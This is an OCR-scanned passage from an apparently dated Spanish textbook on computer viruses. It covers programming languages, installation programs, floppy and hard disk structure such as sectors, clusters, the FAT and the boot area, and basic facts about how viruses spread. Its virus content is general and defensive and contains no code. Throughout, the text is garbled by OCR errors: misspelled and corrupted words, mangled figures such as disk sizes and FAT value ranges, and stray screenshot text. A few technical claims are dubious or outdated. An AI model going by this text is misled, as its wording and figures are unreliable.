memoria, reduccion considerable en su tamafio y precios
bastante accesibles para cualquier usuario.

1.3 Programacion

Una de las herramientas mas dtiles para la informatica es la
pregramacién, pues todas las operaciones y manejo de infor-
macion que realiza la computadora sélo funcionan bien si el
programa correspondiente se ha disefado correctamente,
mediante una secuencia de instrucciones bien definidas o al-
goritmos que permiten resolver paso a paso un problema. -Los
algoritmos generalmente se representan con diagramas de
flujo o fluxogramas al elaborar un programa.~

Las principales preccupaciones de todo programador
cuando desarrolla un programa son:

» Que el programa no contenga bucles (foops) o ciclos infini-
tos e dos cuales es muy dificil salir.
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> Que ¢l software disenado no maneje correctamentle fos ar-
chivos, de lal forma que esto conlleve a la pérdida de infor-
macidén.

» Que el codigo del programa no mncluya instrucciones que
puedan dejar congelada a la computadora —problema debi-
do generalmente a mat manejo de los blogues o direccio-
nes de memoria—. .

A esta manera de codificar las instrucciones de un progra-
ma se le conoce como programacidn defensiva, v es la que con-
sume la mayor parte del tiempo de programacion. Por lo
tanto, resulta verdaderamente frustrante para las programa-
dores que el pasatiempo preferido de algunas personas sca el
de modificar un programa laboriosamente disefado, invir-
tiendo el codigo objelo {(object code) y modificando los men-
sajes o registros de derechos de autor; logicamente, esto no lo
puede hacer el usuario comin de computadoras, a menos
que sea con la ayuda de programas desensambladeres

1.3.1 Ltenguagjes de programacién

Hace apenas unas tres décadas, los programadores tenian que
escribir sus programas utilizando solamente el lenguaye de
mdiuina (Machine language) o cédigo binario (binary code), lo
gue significaba un trabajo complicado y tedicso. Por tal mo-
tivo se evolucioné al lenguaje ensmublador (Assembly langua-
ge) que permite el uso de expresiones mnemotécnicas y las
traduce a lenguaje de maquina —Estos son los lenguajes que se
conocen como de bajo mizel, por estar limitado su uso a progra-
madores proflesionales—. Algunos lenguajes de bajo nivel cono-
cidos son Ensamblador, Easycoider, Neat y Macroassenibler.

Can el vertigineso avance de la informatica, pronto se de-
sarrollaron los lenguajes de programacion denominados de alto
wivel, que al permutir 1a inclusion de instrucciones y comandos
en lenguaje comun —generalmente en inglés— quedaron al al-
cance de fa mayoria de los usuarios, En este caso, el nismao len-
guaje sirve de traductor para que las instrucciones puedan ser
ejecutadas por la computadora. Estos inférpretes necesitan es-
tar siempre presentes en la memaonia convencional (RAM) para
traducir cada instruccion o comando y ejecularto en et orden
indicado, por lo que resultan mas lentos en su operacion.

Para hacer mas rapida 1 ¢jecucidn de los programas crea-
dos usando lenguajes de alto nivel, se debe usar un congnla-
dor (Compiler) Este es, en esencia, un programa traductor

Figura 1

Con el
veriginoso
avance dela
informatica se
desarrolicron los
lengugjes de
programacidn
de oito nivel,
faciiando Ia
comunicacion
entre la
computodoray
el usuano
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que interpreta las instrucciones o comandos del lenguaje de
alto nively las traduce al cédigo binaro que usan las compu-
tadoras, creando asi un programa compulado o ejecutable
{.EXE), que no necesita tener el tenguaje fuente en la memoria
de la computadora para su cjecucion.

El primer lenguaje de allo nivel fue ¢l FORTRAN -acronimo
de FORnuila TRANslator- o lenguaje traductor de férmulas.
Este aparecio en 1954 y resulta muy adecuado para aplicacio-
nes cientificas por estar orientado a problemas matemadticos.

Posteriormente surgieron varios lenguajes de alto nivel
que se adecuaban a diferentes aplicaciones, a diferentes am-
bienles o plataformas y a dilerentes tipos de computadoras,
Entre ellos, podemuos citar a los siguientes:

# ADA Llamado asienhonor de Augusta Ada Byron -Lady
Ada Lovelace—, reconocida como la primera programado-
ra por sus trabajos con larjelas perforadas al lado de Char-
les Babbage. Escrito on 1979 por mvestigadores del
Departamento de Defensa de Estados Unidos, es un len-
guaje de alto nivel para aplicaciones cientificas y adminis-
trativas en compuladoras, con capacidad de muluproceso.

7 ALGOL (Acréonimo de ALGOrithmic Language) o lengua-
je algoritmico para la resolucion de problemas. Introdujo

.
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el concepto de estructuras de bloques y declaracién expli-
cita de variables en los lenguajes de programacién. Se uti-
liza mucho para resolver problemas matematicos.

» APL (Acrénimo de A Programming Language). Desarrolla-
do en 1962, es un lenguaje interactivo orientado a proble-
mas matemdticos, gracias a su gran capacidad para
manejar arreglos y matrices.

» APT (Acrénimo de Automatic Programmed Tools). Es un
lenguaje de alto nivel del grupo de los Lengunjes para Proce-
sos de Control, orientado a la produccién y se utiliza para
generar cédigos e instrucciones destinadas a maquinas de
control numérico.

» BASIC (Acrénimo de Beginner's All-purpose Symbolic Ins-
truction Code) es el mas sencillo y mas fécil de aprender,
por lo que ha tenido un rotundo éxito entre los usuarios de
microcomputadoras. Aunque siempre resulté muy lento
en sus procesos por ser un intérprete, ya existen paquetes
como Quick BASIC o Tirbo BASIC, que son compiladores
(compilers) con capacidad de crear programas ejecutables
(.EXE) a partir del codigo fuente, haciéndolos tan rapidos
como aquéllos que han sido elaborados con Pascal o con
cualquier otro lenguaje.

» C Un lenguaje de programacidon muy compacto desarro-
llado por investigadores de los laboratorios Bell, que debe
su éxito al sistema operativo UNIX —¢l cual est4 totalmente
escrito en este lenguaje—. Combina la estructura de control
del lenguaje de alto nivel, con la capacidad de impartir ins-
trucciones a la computadora de manera similar a las del
lenguaje ensamblador.

» COBOL (Acrénimo de COmmon Business-Oriented Lan-
guage} o lenguaje orientado a usos comerciales. Particular-
mente adecuado a las operaciones matemiticas necesarias
en las dreas de contabilidad y administracién.

¥» FORTH {Acrénimo de FOuRTH). Bautizado con ese nom-
bre aludiendo a los lenguajes de cuarta (fourth) genera-
¢ién. Desarrotlado por Charles Moore, permite al usuario
hacerlo crecer de acuerdo a sus necesidades y sus principa-
les aplicaciones son en robdtica, programacion de juegos
electronicos y aplicaciones matematicas.

» LISP (Acrénimo de LISt Processor). Lenguaje usado en
aplicaciones de inteligencia artificial {Artificial Intelligence,
Al), conocido también como Common LISE. Se trata de un
lenguaje orientado a objetos, los cuales maneja o trabaja con

listas de simbolos. Esto contrasta con otros lenguajes de pro- -
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gramacién que solo procesan instrucciones y datos numé-
ricos.

» LOGO Escrito por Seymour Papert, es un lenguaje de alto
nivel enfacado a la ensefianza de programacion a pringi-
piantes y nifios. Es de facil operacion y se caracleriza por
su sencillez y gran capacidad de graficacién.

» MODULA-2 Lenguaje estructurado de alto nivel escrito
por N. Wirth, que permite hacer médulos que trabajan in-
dependientemente uno del otro.

» PASCAL Escrito en 1971 y nombrado asi en honor al ma-
tematico y fildsofo francés Blaise Pascal. Ha tenido mucho
éxito en la ensenanza de la computacién, ya que aplica la
estructuracién en la programacion. Desarrollado por N.
Wirth.

» PLA1 (Acrénimo de Pragramming Language one) o lenguaje
de programacién nimero uno. Tiene uso en aplicaciones
cientificas y comerciales o administrativas. Fue desarrollado
por IBM como alternativa al FORTRAN, COBOLy ALGOL.

Actualmente, debido a la cuforia creada por Windows, una
plataforma o interface grifica entre la computadora y el usua-
rio, se ha puesto de moda la Programacién Orientada a Objetos,
que no es otra cosa que la utilizacién de rutinas o librerias de
c6digo consideradas como objetos independientes, prefabri-
cadas por los desarrolladores de herramientas de programa-
cién. Los principales creadores de estos programas son
Boriand con sus Turbo Pascal y C++, y Microsoft con los pa-
quetes Visual C++ y Visual BASIC; aunque existen una gran
cantidad de empresas y programadores dedicados al desa-
rrollo de estas herramientas.

El manejo de grandes cantidades de datos en las empresas
ha propiciado el desarrolio de lenguajes de programacién
tipo Xbase como dBASE, Clipper, Fox Pro y otros, que permi-
ten crear bases de datos y generar aplicaciones para el mane-
jo de esa informacion para facilitar la creacion de informes o
reportes adecuados a las necesidades de cada empresa en
particular.

1.4 Programas comerciales

La mayoria de los programas comerciales de todo tipo se pre-
sentan para la venta en su version de cddrgo objeto (ob]gct
code). El c6digo objeto es un archivo de instrucciones escrito
con el codigo binario o lenguaje de maquina, que se ha hecho
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gjecutable al compilar ¢l programa originalmente realizado
en cddigo fuente (source code), utihzando para ello uno de los
lenguajes de alto mavel mis populares.

La computadora no diferencia enire un arclyvo de datos y
otro que contenga un programa, excepto por la extension
asociada con ¢l; DTA, .DOC, WP o TXT para archivos de da-
tos o teato, v .COM, .EXE, .BAT, .OVL para archivos vjecuta-
bles —gue la computadura ejecuta tan pronto se feclea su
nombie v se pulsa J|-.

Algunas virus infectan los archivos ejecutables o progra-
mas insurtindose en el codigo objeto y pueden tomar el con-
trol de la computadora cuando se ejecutan ¢stos. "ara lograr
lo anterior se necesitan bastantes conocimientos de progra-
macion, ya que editar el cddigo objeto de un programa co-
mercial o desensamblarlo no es una tarea sencilla.

Pucde usted cambiar muy ficilmente el nombre o la exten-
s16n de un archivo usando el comando RENAMLE del sistema
operativo DOS, v ublizando algin programa comoe Q-DOS
[, Mace Utilities, XTree, I’C Tools o Norton Utilities. De esta
manera se pucde intentar que la computadora ejecute un ar-
chivo de datos que se tame VENTAS.DTA renombriandolo a
VENTAS COM, pero al noencontrar las instrucciones que ¢s-
pera, la compuladora dard problemas y hard que se congele el
sistema; es decir, se quedard estdtico y no responderd a nin-
guna instruccidn que se le dé desde el teclado. Para continuar
con su trabajo despuds de tal percance, serd necesario reini-
cializar (reboot) la computadora

Si un programa estid bien documentado y estructurado, no
es dificil que cualquier otro programador —que domine el
mismo lenguaje en que fue creado- pueda modificar los
mensajes o las instrucciones del cddigo fuente para persona-
lizar la presentacion visual o la forma en que éste opera. Pero
cuando se intenta modificar un software que ya ha sido com-
pilado, lo mds probable es que se gencren fallas que ocasio-
nen el mal funcionamiento de las rutinas que debe ejecutar el
programa. Algunos virus superan esas adversidades y lo-
gran el control del sislema sin que se note nada extrafio cuan-
do se ¢jecuta un programa infectado.

1.4.1 Programas de instalacion

La mayoria de los programas comerciales de aplicaciones inclu-
yen ent el primer disquete un programa de fustalacidn, previen-
do asi la necesidad gue tenemos los usuanos de configurar el
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software para que funcione correctamente con nuestro equi-
po. La funcion especitica del programa de instalacion consis-
te env nredificar clarchivo ejecutable tratindolo como si fuera un
archivo de datos aun estando esenito en cadigo objelo —aungue
olros crean un archive de configuracion por separado-.

Mediante Ly anstalacidn v configuracidn se prepara al pro-
grama para delerminado entorno de hardware, v se optimiza
su funcaionamiento en los diferentes tipos de equipo. Durante
el proceso, el usuano debwe contestar una serie de preguntas
acerca de su computadora, sus penféricos y demds caracte-
risticas especificas de su sistema, para que esos datos se gra-
ben en el proyrama, v asi pueda funcionar adecuadamente.

El conocmuento de coma funcionan esos programas de
instalacidn —que modincan pardimetros de ohos programas
ejecutables— nos permite comprender los principios en los
que estin basados los virus intormaticos; sélo gue éstos se in-
troducen en el sislema subrepticiamende, reahizan sus opera-
ctones sin antorizacion del usuano v, adentis, se reproducen
por si solos. |Pero cutdado. . Arpuien los introduce en su
conmpuladora... Ellos no llegan solos!

Los virus se reproducen iinicamente cuando son propaga-
dos por operaderes mahntencionados, o cuando de buena fe
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se copia un disco o un programa de procedencia desconocida
sin verificar si hay infeccion. Es decir, una computadora no
puede infectarse mientras alguien no ejecute un programa
infectado o inserte un disco con el virus, en la unidad de dis-
co. A veces basta con visualizar el directorio del disquete in-
fectado para que un maligno virus invada al sistema e infecte
el sector de carga, la tabla de particiones del disco duro, o
programas ejecutables y de sistema tales como el COM-
MAND.COM, 10.5YS, IBM.SYS, MSDOS.5YS y otros.

Almacenamiento de
la informacion



£

2 1 Por qué se almacenan los datos 33

L 0s virus sc propagan en las computadoras, autocopian-
dose en los medios de almacenamientode la informacion
-disquetes, discos duros, etc.~, y es frecuente que Jos usua-
rios de computadoras no conozean de qué manera se almace-

" nan los datos enlos discos.

51 sabemos cdmo es la estructura de los medios magnéti-
cos de almacenamiento de datos, y cudl es su funcionamien-
to, entenderemos cémo y en qué dreas de los discos se alojan
esos temidos programas llamados virus, y logicamente nos
serd mas facil localizarlos y tomar las medidas adecuadas
para combalirlos y elimnarlos.

2.1 Por qué se almacenan los datos

Al trabajar con una compuladora, Jos resullados Jde los cileu-
los, ia ordenacion de datos, y en general los procesos y pro-
gramas se almacenan en la memoria convenaional o RAM
(Random Access Memory) de la computadora, pero ésta es
voldtil; es decir, al apagar la computadaora se borra toda la in-
formacion. Podemos obtener una impresion en papel o ver
esos resultados en el monitor, pero s no existieran los medios
magnéticos de almacenamiento, [a informacién obtenida en
Lna sesion de trabajo se perderia al quitar la energia elécirica
al sistema.

Por lo anterior, es conventente ulilizar disquetes o discos
duros para grabar ahi los archivos generados en la computa-
dora, y realizar sistemdticamente copias de seguridad o respaldo
de la informacién importante, ya que se debe considerar que
aunque la tecnologia avanza aceleradamente en ¢l terreno de
los componentes de los equipos de computo, en las operacio-
nes de lectura o grabacién de archivos en cualquier medio
magnélico, se puede sufrir pérdida de informacion de mane-
ra accidental. En el caso de los discos fijos, las velacidades de
acceso llegan a rebasar las 3 600 rpm, y manejan millones de
caracteres por segundo, por lo que cualquier variacién de
voltaje —mayor o menor Jue el normal- puede ocasionar pro-
blemas.

La estructura o formato para almacenar la informacion en
los medios magnéticos yue utilizan las computadoras varia
cuando se emplean diferentes sistemas operativos, pero la
manera de trabajar con la informacién es muy semejante,
Ademas, algunos fabricantes de equipos de compulacion
han logrado una estandarizacion y compatibilidad que per-
mite escribir o leer archivos mediante progamas traductores,
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Figura 2.1

La compatibili-
dad de los
sistermas
acluales permite
la transmislén de
informacidna
cualquier parte
del mundo por
via teletonica.
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aunque tengan formatos diferentes, o crear un archivo o pro-
gramaen Japony traerlo a América, en donde se pueden leer
o modificar los datos si es necesario.

Mas aun, mediante telecomunicaciones, utilizando un co-
dificador/decodificador llamado nidden se puede transmitir
o recibir informacién o programas directamente por via tele-
fénica entre computadoras ubicadas en paises de cualquier
parte del mundo.

Lo anterior, que significa un gran avance para la informa-
tica, en algunos casos ha servido también como medio para
la diseminacién de los programas de virus, lo que demuestra
1a vulnerabilidad de las computadoras, las redes para trans-
inisién de datos y, sobre todo, de los sistemas para ahmacena-
miento de informacién.

Inicialmente los sistemas de almacenamiento secundario de
la informacion que se generaba con las computadoras consis-
tian en enormes cinlas magnéticas o casetes en donde se guar-
daban todos los datos de la memoria. Esta manera de
archivar la informacién era muy semejante a las grabaciones
de cinta comerciales; o sea, ¢en forma de pulsos acusticos.

Como las computadoras manejan o reconocen la informacion
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como nﬁmerps binarios, hubo la necesidad de convertir estos
pulsos acusticos a c6digo binario para que la computadora
pudiera reconocer la diferencia entre los bits engbndidos
{ON) y los apagados {OFF), o sca, los ceros y los unos del sis-
tema de numeracion binario, o

Figura 2.2
Algunos medios
magnéticos de
aimacenomien!o
secundaric de
informacién.
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Por lo general se utilizaban tonos de 2 400 ci
presentar los unos, y de 1 200 para indicar que ;;(:ia}::l;: tr:lee
los ceros. Estos sistemas de almacenamiento de informacién
son muy confiables y de bajo costo, por lo que estan al alcance
de cualquier usuario. Actualmente sélo se utilizan para ar-
chivar copias de seguridad o respaldo de informacién, debi-
do asulentitud en la lectura y grabacién de datos, ya q:Je son
medios de acceso secuencial, lo que significa que i)ara buscar
un programa o un dato que se encuentre almacenado al final
de lacinta, se debe adelantar teda para encontrarlo y accesar-
lo. N_o obstante, la capacidad de almacenamiento de datosde
las cintas magnéticas es muy grande, comparada con la que
tienen los discos duros o los disquetes, los cuales son :crlrés
adecuados para trabajo continuo debido a la manera aleato-
ria y directa que tienen de acceder a la informacién.

Como se ha mencionado, independientemente del sistema
0 equipo que se esté utilizando, la informacién se maneja de
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manera muy parecida. Estono quiere decir que un disco que
ha sido formateado en una computadora Macintosh pueda
ser leido en una computadora Commodore —aunque ya se
han disefiado inferfeces que logran la tan deseada compatibi-
lidad-.

En este capitulo, cuando nos referimos a disquetes, debe
entenderse que se estd hablando de disquetes de doble cara y
doble densidad, formateados con el sistema operativo MS o
PC-DOS (Disk Operating System) compalibles con los equi-
pos IBM, v que tienen una capacidad de almacenamiento de
360 kB, para no entrar en complicaciones cuando se describa
su estructura, aunque haremos también algunas referencias a
otros sistemas y otros formatos como los de alta densidad,
que son los mas usuaies actualmente.

2.2 Estructura de los discos

Los discos necesitan ser formateados para su use, proceso si-
milar a marcar renglones y margenes en una hoja de papel
para después escribir ordenadamente sobre ella. Este proce-
so define fa forma y distribucién de la informacién en el dis-
co, ¥ se denomina sectorizacién suave (soft-sectoring) o
seclorizactdn 1égica (logic-sectoring).

Algunos sistemas formatean 40 pistas (tracks) y otros has-
ta 80. El DOS, en un disco de 5 14 pulgadas de doble cara y
doble densidad, formatea 9 sectores y 40 pistas por cada
lado, por lo que se ticnen 720 sectores 18gicos, cada uno de
los cuales almacena 512 bytes, dando una capacidad de ajma-
cenamiento total de 360 kB. Por su parte, los discos de 3 1.
pulgadas, con 80 pistas y 9 sectores, tienen un total de 720 kI3

Las computadoras con microprocesador 80286 o superior;
es decir, 386, 486 o Pentium, pueden incluir unidades de dis-
co de 5 '4 pulgadas con capacidad para formatear un total
de 1.2 MB, y unidades de 3 14 pulgadas que admiten 1.4 MB.
Eslos disqueles se conocen como de doble cara y alta den-
sidad. ’

La organizacién de cualquier disco es muy semejante en
todos los sistemas; El sistema operativo DOS lo divide en
anillos concéntricos cuyo nimero puede ser de 48 0 96 pistas
por putgada (Tracks per inch, tp1). Sin embarpo, como no se
utiliza toda la superficie del disco, sélo se crean 40 u 80 de
eslas pistas. A su vey, cada pista (track) es divididaen 8 0 9
sectores, dependiendo de la versién del DOS que se use. La
unidad de disco reconoce la posicién del primer sector de

Figura 2.3
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SECTORES
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‘HDICADOR

PISTAS g FISTA O

cada pista mediante un pequeno enficio de ndexacicn (Index
hole) gue se encuentra cerca del centro del disquete.

Los sectores son divisiones en forma de gajos de una na-
ranja partida por la nutad, por lo que todas las pistas de! dis-
co contienen ¢l mismo niimero de sectores, Cuando se graba
cualquier informacién en el disco, siempre se ocupan secto-
res complelos.

El sistema operative 1DOS tiene dos maneras de identificar
los sectores: sectores absolutos (absolute sectars} y sectores ligr-
cos (logical sectors). Los sectores absolutos se identifican por
su posicion fisica en el disco, como por ¢jemplo lado cero, a1-
lindro 14, sector 6, y los seclores 1égicos se identifican comen-
zando por el sector cero, hasta el scctor a, no Importa en qué
lado o aitindro —en el caso de discos duros-— este.

2.2.1 Qué es el factor de intercalacién

Las altas velocidades a Jas que giran los discos -3 600 rpmen
el caso de los discos duros- no permiten que ¢l sistema ope-
rativo DOS pueda leer la informacion en forma continua, ya
que después de leer un sector y ubicar la informacion en'la
memoria, cuando estd listo para leer el siguiente sector, éste
puede ya haber pasado por debajo de la cabeza lectora y el
DOS necesita esperar a que se produzea un giro completo del
disco para ieer el siguicnte sector.

Para evitar esta pérdida de bempo y optimizar los tiempos
de lectura o grabacion, los discos flexibles a duros, se prepa-
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nuimero de sectores, esperando el seclor apropiado para gra-
bar o leer el siguiente sector, y asi consecutivamente.
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La figura 2.4 muestra cémo se graba la informacién en un
disco con un factor de intercalacién de 4:1. Légicamente el
factor de intercalacion éplimo es 1:1, lo cual significa que la
cabeza de grabacion tiene la capacidad de leer o grabar un
sector enseguida de otro, y esto trae consigo un ahorro con-
siderable de tiempo en todos los accesos de lectura o graba-
cién que se hagan al disco. Actualmente, la mayoria de las
computadoras con procesadores 386, 486 y Pentium se ofre-
cen con discos duros “inteligentes” (IDE), que ya trabajan
con facter de intercalacion 1:1.

2.2.2 Qué son los sectores contiguos (clusters)

A

E! sistema operativo DOS optimiza la lectura o grabacion de
datos, creando grupos de seclores contigios llamados ch’tsfers.
Estas unidades de grabacién pueden contener uno o mas sec-
tores, segiin sea el formato del disco que se utilice, y lc_)s cnu-
mera en orden secuencial desde el numero 2 -los primeros
sectores cero y uno los reserva para alojar el programa de carga
(Boot program} y la tabla de asignacion de archivos (File Aloca-
tion Table, FAT)-.

*  Aceptar :

Leycnda —
B-Utllizado 3 - Mo wtilizado
L- teyendo ' E - Iscribiendo
1 - Jrservible X - lnamouible
§ Unidad €3 1 Wloqup = 43 grupor o

Tiempo trearnsxurrido: @0:00:15
befragmentar sélo archivoz

Fin de la apljnizclﬁn Hicrusoft Defrag

Eslos sectores contiguos no se pueden representar o visua-
hzar fisicamente en el disco, excepto con algin programa de
desfragmentacion de archivos, pero el DOS [os agrupa de esa
manera por conveniencia propia, para optimizar los tiempos
de lectura o grabacién de la informacidn.

2.2.3 Coémo se aimacena la informacion

La cabeza de lectura y grabacidn de la unidad de disco con-
tiene una bobina ~la cual no ¢s mas que un cable enroliado
alrededor de un nucleo de hierro~ que transmite impidsos
eléctricos. Estos impulsos eléctricos inducen un campo magné-
tico en la cabeza al desplazarse el niicleo sobre el revestimiento
igualmente magnetizable que tiene la superficie del disco.

Conforme avanza ¢l disco se magnetizan las particulas de
cada pista (track), las cuales se ven abhigadas a alinear sus po-
los magnéticos en la misma direccion, formando asi una ban-
da magnetizada que contendri la informacion tal como la
hemos grabado.

Dos de estas bandas contiguas magnenizadas integran lo
que se conoce coma un it (Binary digi'h), que es la unidad
basica de informacidn. Es decir, cada par de bandas magneti-
zadas representa el nimero binario 0 o 1 {cero o uno). ;Cémo
reconoce la computadora si se trata de un G o de un 1? i las
partizul  wyndticas en ambas bandas estan alineadas en el
Mmisnus sentido, el bit de datos representa un cero. Si las parti-

[
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Figura 2.6
Después de
formaotear ej
disco, las
particulas se
encuentran
desalineadas en
las pistas.

Figura 2.7

Al aplicar
impulscs
eléctricos, la
cabeza de
lectura y
grabacién
induce un
campo
magnélico que
alineg las
particulas
magnetizadas
en la superficie
del disco.

Almacenamiento de la informacion

FARTICULAS

culas magnéticas en ambas bandas eslin alineadas en senti-
do opuesto, el bit de datos representa un i,
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Cuando se crean otras dos bandas magnéticas para otro bit
de datos, la polaridad entre ias parliculas de la primera ban-
da del nuevo bit y las particulas de la segunda banda del bit
anterior serd opuesta. Esto le indica a la computadora que se
trata de un nuevoe bif de datos. In el eemplo de la figura 2.8
los cuatro pares de badas magnelizadas o bits representan el
ntimere binario 1100 —el nimero decimal 12—

Figura 2.8

Estos cuctro
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1100.
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Ocho pares de estas bandas magnetizadas contienen 8 bits
o un cardcter alfanumérico. En la jerga de la computacién, 8 bits
equivaien a un byte —u octeto-, el cual se ha tomado como la
unudad de medida para la capacidad de almacenaje que pue-
de tener la memoria convencional o RAM de la computadora
y los diferentes medios magnéticos utilizados para almace-
nar la informacién, como son los discos, casetes, cintas, car-
luchos, CD-ROM’s, ete.

2.2.4 Areas criticas del disco

En el lado 0 cara 0 del disco, el sistema operativo DOS reser-
va el sector U (cero), en la pista O (cero), como el drea de carga
{boot area), donde se aloja un pequeno programa escrito en
lenguaje de maquina que inicia el proceso de carga. Ensegui-
da, en los sectores 1y 2 se aloja la fabla de asignacion de archivos
(File Allocation Table, FAT) que se encarga de llevar un re-
gistro de todos los archivos, su direccién y los sectores que
ocupan.

Los sectores 3 y 4 guardan una copia de la tabla dv asignacién
de archivos como medida de seguridad; ésta se actualiza cada
vez que se graba o borra un archivo del disco. Por cjemplo,
en un disco fijo de 40 MB, la tabla de asignacion de archivos
ocupa 162 sectores, 81 para la tabla original y 81 para la co-
pia; el disco ilustrado en la figura 2.5, que tiene una capaci-
dad de almacenamiento de 102 MB, utiliza 400 sectores para
alojar la FAT y su copia.
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Figura 2.9
Disquete
dividido en
pistas y seclores,
mosfrando [os
sactores donde
s alojan el
programa de
carga, la FATy el
direciorio.

Y

Almacenamiento de la iInformacian

Los sectores 5 al 11 alojan el directorio raiz {root directory).
En este directorio se lleva un registro del nombre de cada ar-
chivo, con la fecha y hora de su creacién; ademds, lleva un
registro de los clusters que indican el comienzo y el final de
cada archivo en la tabla de asignacion de archivos, y final-
mente la longitud o tamario de cada archive en bytes. Recuer-
de que esta descripcién corresponde a un disquete de 5 Y
pulgadas de 360 kB,

Existen métodos que permiten interpretar el contenido de
la tabla de asignacién de archives, pero su explicacion est3
mas alld del propésito de este libro por los conocimientos ai-
tamente técnicos que se requieren. Por tal razén preferi-
mos mencionar ciertos programas de utilidad que cumplen
la misma funcién, ellos son: Norton Utilities, PCTools, Mace
Utilities y otros. Todos ellos tienen funciones que permi-
ten ver un mapa de cualquier area del disco y desensamblar
en el monitor por sectores o clusters la informacién ahi con-
tenida.

La tabla de asignacién de archivos esta oiganizada de for-
ma tabular con nimeros hexadecimales comprendidos entre
el 0H y el 000H, los cuales muestran 1os alributos de cada sec-
tor de la siguiente manera:

0000 = Sector disponible

FFFO a FFF6 = Sector reservado

FFF7 Sector dafado

FFF8 a FFFF = Ultimo registro del archivo
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2.2 Estructura de los discos

En la figura 2.10 se muestran disquetes estandar de 5 ¥4
pulgadas (floppy disks) y de 3 2 pulgadas {micro floppy
disks), con su funda blanda el grande y su cubierta de plasti-
co el pequeno. En los dos se ven los orificios o muescas que

-se utilizan para la proteccion contra escritura.

Figura 2.10
Disquete de 5 1n
putgadas (floppy
disk} y disquete
de 3 % pulgadas
(micro floppy
disk), mostrando
la muescay
aberura de
proteccion
respectivamente.

Algunos virus se alojan en las dreas mds vulnerables de los
discos que son el sector de carga (Boot sector), la mb’lu de pn‘rh.—
ciones {en el caso de discos fjos), la tabla de asignacién de archi-
vos (File Alocation Table, FAT), o en los sectores que ocupan
los archivos de sisten o los progranias ejecutables o programas
del usuario. Por eso es tan importante saber como se distri-
buye la informacidn en los discos.
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L 0s virus e las compuiadoras no son mas que programas. j5i,
simples programas de computacién elaborados por pro-
gramadores! Estos son programas similares a un procesador
de textos o una hoja de cilculo, a un programa de base de da-
tos o a un programa de control de inventarios. Es decir, pro-
gramas que contienen instrucciones para que las ejecute la
computadora. Como tales programas, los virus informiticos
solo realizardn las tareas que les fueron programadas en su
codigo, ni mas ni menos.

Los virus informaticos casi siempre son infroducides en las
¢ compuladoras a través da copias Wegales o pirateadas. Los virus
. provocan, desde la pérdida de datos o archivos en los medios de
. almacenamiento de informacidn, hasta dafos al sistema y,
algunas veces, incluyen instrucciones que pueden ocasionar
danos al equipo.

3.1 Caracteristicas de los virus

Estos programas tienen algunas caracteristicas especiales:
SON mMuy pequefos ~en muy pocas lineas contienen instruc-
ciones, parametros, contadores de tiempo o del namero de
copias, mensajes, etc.—; casi nunca incluyen el nombre del au-
tor, ni el registro o copyright, ni la fecha de creacidn; se repro-
ducen a si mismos y toman el control de la computadora o
modifican otros programas.

Estin escritos generalmente en lenguaje ensambiador,
pera muchas de ellos han sido elaberados utilizande alguno
de los lenguajes mas populares, como C, C++, Pascal, Turbo
C o Turbo Pascal. Como experimento hemos realizado pro-
gramas en BASIC introduciendo un cddigo parecido al de los
virus, con buenos resultados; obviamenie esos programas, o
han sido destruidos o se han utilizado para los fines contra-
rios a los de los virus, proteger dreas de memeoria o discos fle-
xibles o duros.

Los diferentes tipos de computadoras, como por ejemplo Atari,
. Macintosh, Amiga, PC compatlibles con el estdndar de IBM y
; Comodore, por mencionar alguncs, funcionan también con
diferenles sistemas operativos, por lo que la mayoria de los virus
" informélicos son especilicos para cada tipe de sistema; es decir,
un virus hecho para atacar las Macintosh generalmente no infecta
. alasPC’s. -
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Los sistemas mds expuestos a los ataques virales son los
IBM o compatibles por dos razones: una, que es ¢l tipo de
computadoras -y por ende su sistema operativo-- mds exten-
dido a través de lodo el mundo y dos, porque el sistema ope-
rativo que utilizan -M5-DOS o PC-1DOS-, no incluye
métodos de seguridad adecuados.

3.2 Los virus informdaticos existen

La Computer Virus Industry Association (CVIA) réportaba
ya en 1990, que sélo en Estados Unidos se habian detectado
mas de 500 formas de infecciones virales, las cuales afectaron
a unas doscientas mil compuladoras. No obstanle, es posibla
que aproximadamente un 50% de casos de infeccién no se ha-
yan denunciado.

Hoy. en los reportes acerca de los virus conocidos ¥ Sus variantes,
de algunas empresas que se dadican a fabricar antivirus ya
ofrecer asesoria al respecto, se anuncian mas de 4 000 diferentes,
y cada dia crece este nimero en alrededor de 6 nuevos virus,

El Nota:

Los costos generados por los virus informaticos son muy
altos —de muchos millones de délares-, fundamentalmente
por concepto de pérdida de informacién que debera ser rege-
nerada, asi como por la limpieza y respaldo (backup) de los
archivos y programas.

iNo cabe duda, los virus informiticos existen, estin aqui
Cada dia se detectan nuevos tipos de ellos y ya no es posible
seguir ocultando su existencia. Por su parte, los virus conoci-
dos son constantemente modificados para causar mayores o
diferentes dafios y evitar su deteccion. Es necesario afrontar
el problema con medidas adecuadas y no ser victimas del pa-
nico ni tomtar medidas extremas, como dar formato al disco
fijo que se suponga esld infectado. jEse debe ser el Gltimo re-
curso al cual acudir!

La mejor manera de enfrentar a los virus informadticos con-
sisle en reconocer que tenemos un problema, y pensar que la
mayoria de los problemas de tas computadoras son causados
en primer lugar por los humanos. Luego, indague usted si se
trata de fallas en ¢l hardware. Finalmente, cuando haya ago-
tado todas las posibilidades de fallas conacidas: ;Cuidado!,
puede ser un tenrible virus el causante de sus preocupaciones.

——u’gm"'-
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Paor ello, lo mejor que puede hacer al detectar algo extrafo
en fa computadora es apagarla. Eso hara que, siefectivamen-
te se ha mtroducaido un programa de virus o la memoria, el
mismo quede temporalmente echiminado, va que déstos sélo
acttian mientras el sistema este encendido,

Esto es; in viris s daiinio solo cuando estd activo en la memio-
: via de ln computadora, v siempre se activard cuando usted ini-
I cic la carga del sistema desde un disco mteclado o ejecute un
' programa que haya sido miectado poi algin virus,

Figura 3.1

Al apogor la
computadora,
los virus mueren,
hosta que usted
vuelva a
encenderla o
ejecute un
programa
infeciado

Al encender su computadora nuevamente, podrd aplicar
algunas medidas preventivas de deteccion y u:'radicnci(?n del
virus que haya mvadido su sistema. Eslo se lqgm hacw:'uiu
que el sistema operativo arranque desde la umidad de disco
A con un disquete prolegido contia esaritwa, cuyo contenido
sepamos que estd libie de virus. Como veremos mas adc!nnlu,
ese misimo disquele puede contener los antivirus y demas he-
rramientas que le pernutan curar a computadora enferma.

3.3 Definicion de virus informatico

Antes de presentarse el problema de los virus enlas grandes
empresas, en las dependenaias del gobierno v hasta en los
| centros de investigaadn habia un gran esceptiaismo sobie el
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tema, y nadie se atrevia a opinar o decir algo sobre los virus
informaticos, por lo que hasta hace poco todavia no se habia
dado una definicion exacta de ellos.

